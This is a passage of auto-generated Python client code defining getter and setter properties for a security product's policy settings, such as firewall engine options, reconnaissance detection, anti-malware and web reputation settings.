:param firewall_setting_engine_option_close_timeout: The firewall_setting_engine_option_close_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_close_timeout = firewall_setting_engine_option_close_timeout
@property
def firewall_setting_engine_option_tunnel_depth_max_exceeded_action(self):
"""Gets the firewall_setting_engine_option_tunnel_depth_max_exceeded_action of this PolicySettings. # noqa: E501
Action if Maximum Tunnel Depth Exceeded # noqa: E501
:return: The firewall_setting_engine_option_tunnel_depth_max_exceeded_action of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_tunnel_depth_max_exceeded_action
@firewall_setting_engine_option_tunnel_depth_max_exceeded_action.setter
def firewall_setting_engine_option_tunnel_depth_max_exceeded_action(self, firewall_setting_engine_option_tunnel_depth_max_exceeded_action):
"""Sets the firewall_setting_engine_option_tunnel_depth_max_exceeded_action of this PolicySettings.
Action if Maximum Tunnel Depth Exceeded # noqa: E501
:param firewall_setting_engine_option_tunnel_depth_max_exceeded_action: The firewall_setting_engine_option_tunnel_depth_max_exceeded_action of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_tunnel_depth_max_exceeded_action = firewall_setting_engine_option_tunnel_depth_max_exceeded_action
@property
def firewall_setting_reconnaissance_detect_tcp_null_scan_enabled(self):
"""Gets the firewall_setting_reconnaissance_detect_tcp_null_scan_enabled of this PolicySettings. # noqa: E501
TCP Null Scan - Enabled # noqa: E501
:return: The firewall_setting_reconnaissance_detect_tcp_null_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_detect_tcp_null_scan_enabled
@firewall_setting_reconnaissance_detect_tcp_null_scan_enabled.setter
def firewall_setting_reconnaissance_detect_tcp_null_scan_enabled(self, firewall_setting_reconnaissance_detect_tcp_null_scan_enabled):
"""Sets the firewall_setting_reconnaissance_detect_tcp_null_scan_enabled of this PolicySettings.
TCP Null Scan - Enabled # noqa: E501
:param firewall_setting_reconnaissance_detect_tcp_null_scan_enabled: The firewall_setting_reconnaissance_detect_tcp_null_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_detect_tcp_null_scan_enabled = firewall_setting_reconnaissance_detect_tcp_null_scan_enabled
@property
def platform_setting_smart_protection_anti_malware_global_server_proxy_id(self):
"""Gets the platform_setting_smart_protection_anti_malware_global_server_proxy_id of this PolicySettings. # noqa: E501
Use Proxy when accessing Smart Protection Service for Smart Scan # noqa: E501
:return: The platform_setting_smart_protection_anti_malware_global_server_proxy_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_smart_protection_anti_malware_global_server_proxy_id
@platform_setting_smart_protection_anti_malware_global_server_proxy_id.setter
def platform_setting_smart_protection_anti_malware_global_server_proxy_id(self, platform_setting_smart_protection_anti_malware_global_server_proxy_id):
"""Sets the platform_setting_smart_protection_anti_malware_global_server_proxy_id of this PolicySettings.
Use Proxy when accessing Smart Protection Service for Smart Scan # noqa: E501
:param platform_setting_smart_protection_anti_malware_global_server_proxy_id: The platform_setting_smart_protection_anti_malware_global_server_proxy_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_smart_protection_anti_malware_global_server_proxy_id = platform_setting_smart_protection_anti_malware_global_server_proxy_id
@property
def firewall_setting_engine_option_filter_ipv4_tunnels(self):
"""Gets the firewall_setting_engine_option_filter_ipv4_tunnels of this PolicySettings. # noqa: E501
Filter IPv4 Tunnels # noqa: E501
:return: The firewall_setting_engine_option_filter_ipv4_tunnels of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_filter_ipv4_tunnels
@firewall_setting_engine_option_filter_ipv4_tunnels.setter
def firewall_setting_engine_option_filter_ipv4_tunnels(self, firewall_setting_engine_option_filter_ipv4_tunnels):
"""Sets the firewall_setting_engine_option_filter_ipv4_tunnels of this PolicySettings.
Filter IPv4 Tunnels # noqa: E501
:param firewall_setting_engine_option_filter_ipv4_tunnels: The firewall_setting_engine_option_filter_ipv4_tunnels of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_filter_ipv4_tunnels = firewall_setting_engine_option_filter_ipv4_tunnels
@property
def web_reputation_setting_smart_protection_local_server_urls(self):
"""Gets the web_reputation_setting_smart_protection_local_server_urls of this PolicySettings. # noqa: E501
Local Smart Protection Servers for Web Reputation # noqa: E501
:return: The web_reputation_setting_smart_protection_local_server_urls of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_smart_protection_local_server_urls
@web_reputation_setting_smart_protection_local_server_urls.setter
def web_reputation_setting_smart_protection_local_server_urls(self, web_reputation_setting_smart_protection_local_server_urls):
"""Sets the web_reputation_setting_smart_protection_local_server_urls of this PolicySettings.
Local Smart Protection Servers for Web Reputation # noqa: E501
:param web_reputation_setting_smart_protection_local_server_urls: The web_reputation_setting_smart_protection_local_server_urls of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_smart_protection_local_server_urls = web_reputation_setting_smart_protection_local_server_urls
@property
def firewall_setting_engine_option_log_one_packet_period(self):
"""Gets the firewall_setting_engine_option_log_one_packet_period of this PolicySettings. # noqa: E501
Period for Log only one packet within period # noqa: E501
:return: The firewall_setting_engine_option_log_one_packet_period of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_log_one_packet_period
@firewall_setting_engine_option_log_one_packet_period.setter
def firewall_setting_engine_option_log_one_packet_period(self, firewall_setting_engine_option_log_one_packet_period):
"""Sets the firewall_setting_engine_option_log_one_packet_period of this PolicySettings.
Period for Log only one packet within period # noqa: E501
:param firewall_setting_engine_option_log_one_packet_period: The firewall_setting_engine_option_log_one_packet_period of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_log_one_packet_period = firewall_setting_engine_option_log_one_packet_period
@property
def firewall_setting_engine_option_filter_ipv6_tunnels(self):
"""Gets the firewall_setting_engine_option_filter_ipv6_tunnels of this PolicySettings. # noqa: E501
Filter IPv6 Tunnels # noqa: E501
:return: The firewall_setting_engine_option_filter_ipv6_tunnels of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_filter_ipv6_tunnels
@firewall_setting_engine_option_filter_ipv6_tunnels.setter
def firewall_setting_engine_option_filter_ipv6_tunnels(self, firewall_setting_engine_option_filter_ipv6_tunnels):
"""Sets the firewall_setting_engine_option_filter_ipv6_tunnels of this PolicySettings.
Filter IPv6 Tunnels # noqa: E501
:param firewall_setting_engine_option_filter_ipv6_tunnels: The firewall_setting_engine_option_filter_ipv6_tunnels of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_filter_ipv6_tunnels = firewall_setting_engine_option_filter_ipv6_tunnels
@property
def firewall_setting_anti_evasion_check_tcp_congestion_flags(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_congestion_flags of this PolicySettings. # noqa: E501
TCP Congestion Flags # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_congestion_flags of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_congestion_flags
@firewall_setting_anti_evasion_check_tcp_congestion_flags.setter
def firewall_setting_anti_evasion_check_tcp_congestion_flags(self, firewall_setting_anti_evasion_check_tcp_congestion_flags):
"""Sets the firewall_setting_anti_evasion_check_tcp_congestion_flags of this PolicySettings.
TCP Congestion Flags # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_congestion_flags: The firewall_setting_anti_evasion_check_tcp_congestion_flags of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_congestion_flags = firewall_setting_anti_evasion_check_tcp_congestion_flags
@property
def platform_setting_heartbeat_missed_alert_threshold(self):
"""Gets the platform_setting_heartbeat_missed_alert_threshold of this PolicySettings. # noqa: E501
Number of Heartbeats that can be missed before an alert is raised # noqa: E501
:return: The platform_setting_heartbeat_missed_alert_threshold of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_heartbeat_missed_alert_threshold
@platform_setting_heartbeat_missed_alert_threshold.setter
def platform_setting_heartbeat_missed_alert_threshold(self, platform_setting_heartbeat_missed_alert_threshold):
"""Sets the platform_setting_heartbeat_missed_alert_threshold of this PolicySettings.
Number of Heartbeats that can be missed before an alert is raised # noqa: E501
:param platform_setting_heartbeat_missed_alert_threshold: The platform_setting_heartbeat_missed_alert_threshold of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_heartbeat_missed_alert_threshold = platform_setting_heartbeat_missed_alert_threshold
@property
def intrusion_prevention_setting_engine_options_enabled(self):
"""Gets the intrusion_prevention_setting_engine_options_enabled of this PolicySettings. # noqa: E501
Use custom driver settings # noqa: E501
:return: The intrusion_prevention_setting_engine_options_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_engine_options_enabled
@intrusion_prevention_setting_engine_options_enabled.setter
def intrusion_prevention_setting_engine_options_enabled(self, intrusion_prevention_setting_engine_options_enabled):
"""Sets the intrusion_prevention_setting_engine_options_enabled of this PolicySettings.
Use custom driver settings # noqa: E501
:param intrusion_prevention_setting_engine_options_enabled: The intrusion_prevention_setting_engine_options_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_engine_options_enabled = intrusion_prevention_setting_engine_options_enabled
@property
def firewall_setting_engine_option_connections_num_udp_max(self):
"""Gets the firewall_setting_engine_option_connections_num_udp_max of this PolicySettings. # noqa: E501
Maximum UDP Connections # noqa: E501
:return: The firewall_setting_engine_option_connections_num_udp_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_connections_num_udp_max
@firewall_setting_engine_option_connections_num_udp_max.setter
def firewall_setting_engine_option_connections_num_udp_max(self, firewall_setting_engine_option_connections_num_udp_max):
"""Sets the firewall_setting_engine_option_connections_num_udp_max of this PolicySettings.
Maximum UDP Connections # noqa: E501
:param firewall_setting_engine_option_connections_num_udp_max: The firewall_setting_engine_option_connections_num_udp_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_connections_num_udp_max = firewall_setting_engine_option_connections_num_udp_max
@property
def integrity_monitoring_setting_auto_apply_recommendations_enabled(self):
"""Gets the integrity_monitoring_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
Automatically assign/unassign recommended Integrity Monitoring Rules to Computer during Recommendation Scans # noqa: E501
:return: The integrity_monitoring_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_auto_apply_recommendations_enabled
@integrity_monitoring_setting_auto_apply_recommendations_enabled.setter
def integrity_monitoring_setting_auto_apply_recommendations_enabled(self, integrity_monitoring_setting_auto_apply_recommendations_enabled):
"""Sets the integrity_monitoring_setting_auto_apply_recommendations_enabled of this PolicySettings.
Automatically assign/unassign recommended Integrity Monitoring Rules to Computer during Recommendation Scans # noqa: E501
:param integrity_monitoring_setting_auto_apply_recommendations_enabled: The integrity_monitoring_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_auto_apply_recommendations_enabled = integrity_monitoring_setting_auto_apply_recommendations_enabled
@property
def firewall_setting_engine_option_tunnel_depth_max(self):
"""Gets the firewall_setting_engine_option_tunnel_depth_max of this PolicySettings. # noqa: E501
Maximum Tunnel Depth # noqa: E501
:return: The firewall_setting_engine_option_tunnel_depth_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_tunnel_depth_max
@firewall_setting_engine_option_tunnel_depth_max.setter
def firewall_setting_engine_option_tunnel_depth_max(self, firewall_setting_engine_option_tunnel_depth_max):
"""Sets the firewall_setting_engine_option_tunnel_depth_max of this PolicySettings.
Maximum Tunnel Depth # noqa: E501
:param firewall_setting_engine_option_tunnel_depth_max: The firewall_setting_engine_option_tunnel_depth_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_tunnel_depth_max = firewall_setting_engine_option_tunnel_depth_max
@property
def firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled(self):
"""Gets the firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled of this PolicySettings. # noqa: E501
Drop Unknown SSL Protocol # noqa: E501
:return: The firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled
@firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled.setter
def firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled(self, firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled):
"""Sets the firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled of this PolicySettings.
Drop Unknown SSL Protocol # noqa: E501
:param firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled: The firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled = firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled
@property
def anti_malware_setting_nsx_security_tagging_value(self):
"""Gets the anti_malware_setting_nsx_security_tagging_value of this PolicySettings. # noqa: E501
Anti-Malware NSX Security Tag # noqa: E501
:return: The anti_malware_setting_nsx_security_tagging_value of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_nsx_security_tagging_value
@anti_malware_setting_nsx_security_tagging_value.setter
def anti_malware_setting_nsx_security_tagging_value(self, anti_malware_setting_nsx_security_tagging_value):
"""Sets the anti_malware_setting_nsx_security_tagging_value of this PolicySettings.
Anti-Malware NSX Security Tag # noqa: E501
:param anti_malware_setting_nsx_security_tagging_value: The anti_malware_setting_nsx_security_tagging_value of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_nsx_security_tagging_value = anti_malware_setting_nsx_security_tagging_value
@property
def intrusion_prevention_setting_log_data_rule_first_match_enabled(self):
"""Gets the intrusion_prevention_setting_log_data_rule_first_match_enabled of this PolicySettings. # noqa: E501
Allow Intrusion Prevention Rules to capture data for first hit of each rule (in period) # noqa: E501
:return: The intrusion_prevention_setting_log_data_rule_first_match_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_log_data_rule_first_match_enabled
@intrusion_prevention_setting_log_data_rule_first_match_enabled.setter
def intrusion_prevention_setting_log_data_rule_first_match_enabled(self, intrusion_prevention_setting_log_data_rule_first_match_enabled):
"""Sets the intrusion_prevention_setting_log_data_rule_first_match_enabled of this PolicySettings.
Allow Intrusion Prevention Rules to capture data for first hit of each rule (in period) # noqa: E501
:param intrusion_prevention_setting_log_data_rule_first_match_enabled: The intrusion_prevention_setting_log_data_rule_first_match_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_log_data_rule_first_match_enabled = intrusion_prevention_setting_log_data_rule_first_match_enabled
@property
def firewall_setting_engine_option_logging_policy(self):
"""Gets the firewall_setting_engine_option_logging_policy of this PolicySettings. # noqa: E501
Advanced Logging Policy # noqa: E501
:return: The firewall_setting_engine_option_logging_policy of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_logging_policy
@firewall_setting_engine_option_logging_policy.setter
def firewall_setting_engine_option_logging_policy(self, firewall_setting_engine_option_logging_policy):
"""Sets the firewall_setting_engine_option_logging_policy of this PolicySettings.
Advanced Logging Policy # noqa: E501
:param firewall_setting_engine_option_logging_policy: The firewall_setting_engine_option_logging_policy of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_logging_policy = firewall_setting_engine_option_logging_policy
@property
def platform_setting_troubleshooting_logging_level(self):
"""Gets the platform_setting_troubleshooting_logging_level of this PolicySettings. # noqa: E501
Logging Level # noqa: E501
:return: The platform_setting_troubleshooting_logging_level of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_troubleshooting_logging_level
@platform_setting_troubleshooting_logging_level.setter
def platform_setting_troubleshooting_logging_level(self, platform_setting_troubleshooting_logging_level):
"""Sets the platform_setting_troubleshooting_logging_level of this PolicySettings.
Logging Level # noqa: E501
:param platform_setting_troubleshooting_logging_level: The platform_setting_troubleshooting_logging_level of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_troubleshooting_logging_level = platform_setting_troubleshooting_logging_level
@property
def anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max(self):
"""Gets the anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max of this PolicySettings. # noqa: E501
Max On-Demand Malware Scan Cache Entries # noqa: E501
:return: The anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max
@anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max.setter
def anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max(self, anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max):
"""Sets the anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max of this PolicySettings.
Max On-Demand Malware Scan Cache Entries # noqa: E501
:param anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max: The anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max = anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max
@property
def web_reputation_setting_combined_mode_protection_source(self):
"""Gets the web_reputation_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
Web Reputation # noqa: E501
:return: The web_reputation_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_combined_mode_protection_source
@web_reputation_setting_combined_mode_protection_source.setter
def web_reputation_setting_combined_mode_protection_source(self, web_reputation_setting_combined_mode_protection_source):
"""Sets the web_reputation_setting_combined_mode_protection_source of this PolicySettings.
Web Reputation # noqa: E501
:param web_reputation_setting_combined_mode_protection_source: The web_reputation_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_combined_mode_protection_source = web_reputation_setting_combined_mode_protection_source
@property
def firewall_setting_engine_option_closing_timeout(self):
"""Gets the firewall_setting_engine_option_closing_timeout of this PolicySettings. # noqa: E501
CLOSING Timeout # noqa: E501
:return: The firewall_setting_engine_option_closing_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_closing_timeout
@firewall_setting_engine_option_closing_timeout.setter
def firewall_setting_engine_option_closing_timeout(self, firewall_setting_engine_option_closing_timeout):
"""Sets the firewall_setting_engine_option_closing_timeout of this PolicySettings.
CLOSING Timeout # noqa: E501
:param firewall_setting_engine_option_closing_timeout: The firewall_setting_engine_option_closing_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_closing_timeout = firewall_setting_engine_option_closing_timeout
@property
def firewall_setting_anti_evasion_check_paws(self):
"""Gets the firewall_setting_anti_evasion_check_paws of this PolicySettings. # noqa: E501
Invalid TCP Timestamps # noqa: E501
:return: The firewall_setting_anti_evasion_check_paws of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_paws
@firewall_setting_anti_evasion_check_paws.setter
def firewall_setting_anti_evasion_check_paws(self, firewall_setting_anti_evasion_check_paws):
"""Sets the firewall_setting_anti_evasion_check_paws of this PolicySettings.
Invalid TCP Timestamps # noqa: E501
:param firewall_setting_anti_evasion_check_paws: The firewall_setting_anti_evasion_check_paws of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_paws = firewall_setting_anti_evasion_check_paws
@property
def intrusion_prevention_setting_auto_apply_recommendations_enabled(self):
"""Gets the intrusion_prevention_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
Automatically implement Recommendations # noqa: E501
:return: The intrusion_prevention_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_auto_apply_recommendations_enabled
@intrusion_prevention_setting_auto_apply_recommendations_enabled.setter
def intrusion_prevention_setting_auto_apply_recommendations_enabled(self, intrusion_prevention_setting_auto_apply_recommendations_enabled):
"""Sets the intrusion_prevention_setting_auto_apply_recommendations_enabled of this PolicySettings.
Automatically implement Recommendations # noqa: E501
:param intrusion_prevention_setting_auto_apply_recommendations_enabled: The intrusion_prevention_setting_auto_apply_recommendations_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_auto_apply_recommendations_enabled = intrusion_prevention_setting_auto_apply_recommendations_enabled
@property
def firewall_setting_reconnaissance_detect_fingerprint_probe_enabled(self):
"""Gets the firewall_setting_reconnaissance_detect_fingerprint_probe_enabled of this PolicySettings. # noqa: E501
Computer OS Fingerprint Probe - Enabled # noqa: E501
:return: The firewall_setting_reconnaissance_detect_fingerprint_probe_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_detect_fingerprint_probe_enabled
@firewall_setting_reconnaissance_detect_fingerprint_probe_enabled.setter
def firewall_setting_reconnaissance_detect_fingerprint_probe_enabled(self, firewall_setting_reconnaissance_detect_fingerprint_probe_enabled):
"""Sets the firewall_setting_reconnaissance_detect_fingerprint_probe_enabled of this PolicySettings.
Computer OS Fingerprint Probe - Enabled # noqa: E501
:param firewall_setting_reconnaissance_detect_fingerprint_probe_enabled: The firewall_setting_reconnaissance_detect_fingerprint_probe_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_detect_fingerprint_probe_enabled = firewall_setting_reconnaissance_detect_fingerprint_probe_enabled
@property
def anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled(self):
"""Gets the anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled of this PolicySettings. # noqa: E501
Anti-Malware NSX Remove Tag # noqa: E501
:return: The anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled
@anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled.setter
def anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled(self, anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled):
"""Sets the anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled of this PolicySettings.
Anti-Malware NSX Remove Tag # noqa: E501
:param anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled: The anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled = anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled
@property
def firewall_setting_engine_option_log_packet_length_max(self):
"""Gets the firewall_setting_engine_option_log_packet_length_max of this PolicySettings. # noqa: E501
Maximum data size to store when packet data is captured # noqa: E501
:return: The firewall_setting_engine_option_log_packet_length_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_log_packet_length_max
@firewall_setting_engine_option_log_packet_length_max.setter
def firewall_setting_engine_option_log_packet_length_max(self, firewall_setting_engine_option_log_packet_length_max):
"""Sets the firewall_setting_engine_option_log_packet_length_max of this PolicySettings.
Maximum data size to store when packet data is captured # noqa: E501
:param firewall_setting_engine_option_log_packet_length_max: The firewall_setting_engine_option_log_packet_length_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_log_packet_length_max = firewall_setting_engine_option_log_packet_length_max
@property
def firewall_setting_engine_option_drop_teredo_anomalies_enabled(self):
"""Gets the firewall_setting_engine_option_drop_teredo_anomalies_enabled of this PolicySettings. # noqa: E501
Drop Teredo Anomalies # noqa: E501
:return: The firewall_setting_engine_option_drop_teredo_anomalies_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_teredo_anomalies_enabled
@firewall_setting_engine_option_drop_teredo_anomalies_enabled.setter
def firewall_setting_engine_option_drop_teredo_anomalies_enabled(self, firewall_setting_engine_option_drop_teredo_anomalies_enabled):
"""Sets the firewall_setting_engine_option_drop_teredo_anomalies_enabled of this PolicySettings.
Drop Teredo Anomalies # noqa: E501
:param firewall_setting_engine_option_drop_teredo_anomalies_enabled: The firewall_setting_engine_option_drop_teredo_anomalies_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_teredo_anomalies_enabled = firewall_setting_engine_option_drop_teredo_anomalies_enabled
@property
def web_reputation_setting_security_level(self):
"""Gets the web_reputation_setting_security_level of this PolicySettings. # noqa: E501
Security Level # noqa: E501
:return: The web_reputation_setting_security_level of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_security_level
@web_reputation_setting_security_level.setter
def web_reputation_setting_security_level(self, web_reputation_setting_security_level):
"""Sets the web_reputation_setting_security_level of this PolicySettings.
Security Level # noqa: E501
:param web_reputation_setting_security_level: The web_reputation_setting_security_level of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_security_level = web_reputation_setting_security_level
@property
def firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled(self):
"""Gets the firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled of this PolicySettings. # noqa: E501
Drop IPv6 Site Local Addresses # noqa: E501
:return: The firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled
@firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled.setter
def firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled(self, firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled):
"""Sets the firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled of this PolicySettings.
Drop IPv6 Site Local Addresses # noqa: E501
:param firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled: The firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled = firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled
@property
def activity_monitoring_setting_activity_enabled(self):
"""Gets the activity_monitoring_setting_activity_enabled of this PolicySettings. # noqa: E501
Sensor Activity Enabled # noqa: E501
:return: The activity_monitoring_setting_activity_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._activity_monitoring_setting_activity_enabled
@activity_monitoring_setting_activity_enabled.setter
def activity_monitoring_setting_activity_enabled(self, activity_monitoring_setting_activity_enabled):
"""Sets the activity_monitoring_setting_activity_enabled of this PolicySettings.
Sensor Activity Enabled # noqa: E501
:param activity_monitoring_setting_activity_enabled: The activity_monitoring_setting_activity_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._activity_monitoring_setting_activity_enabled = activity_monitoring_setting_activity_enabled
@property
def firewall_setting_engine_option_strict_terodo_port_check_enabled(self):
"""Gets the firewall_setting_engine_option_strict_terodo_port_check_enabled of this PolicySettings. # noqa: E501
Strict Teredo Port Check # noqa: E501
:return: The firewall_setting_engine_option_strict_terodo_port_check_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_strict_terodo_port_check_enabled
@firewall_setting_engine_option_strict_terodo_port_check_enabled.setter
def firewall_setting_engine_option_strict_terodo_port_check_enabled(self, firewall_setting_engine_option_strict_terodo_port_check_enabled):
"""Sets the firewall_setting_engine_option_strict_terodo_port_check_enabled of this PolicySettings.
Strict Teredo Port Check # noqa: E501
:param firewall_setting_engine_option_strict_terodo_port_check_enabled: The firewall_setting_engine_option_strict_terodo_port_check_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_strict_terodo_port_check_enabled = firewall_setting_engine_option_strict_terodo_port_check_enabled
@property
def web_reputation_setting_blocked_url_keywords(self):
"""Gets the web_reputation_setting_blocked_url_keywords of this PolicySettings. # noqa: E501
Blocked Keywords # noqa: E501
:return: The web_reputation_setting_blocked_url_keywords of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_blocked_url_keywords
@web_reputation_setting_blocked_url_keywords.setter
def web_reputation_setting_blocked_url_keywords(self, web_reputation_setting_blocked_url_keywords):
"""Sets the web_reputation_setting_blocked_url_keywords of this PolicySettings.
Blocked Keywords # noqa: E501
:param web_reputation_setting_blocked_url_keywords: The web_reputation_setting_blocked_url_keywords of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_blocked_url_keywords = web_reputation_setting_blocked_url_keywords
@property
def web_reputation_setting_syslog_config_id(self):
"""Gets the web_reputation_setting_syslog_config_id of this PolicySettings. # noqa: E501
Web Reputation Syslog Configuration # noqa: E501
:return: The web_reputation_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_syslog_config_id
@web_reputation_setting_syslog_config_id.setter
def web_reputation_setting_syslog_config_id(self, web_reputation_setting_syslog_config_id):
"""Sets the web_reputation_setting_syslog_config_id of this PolicySettings.
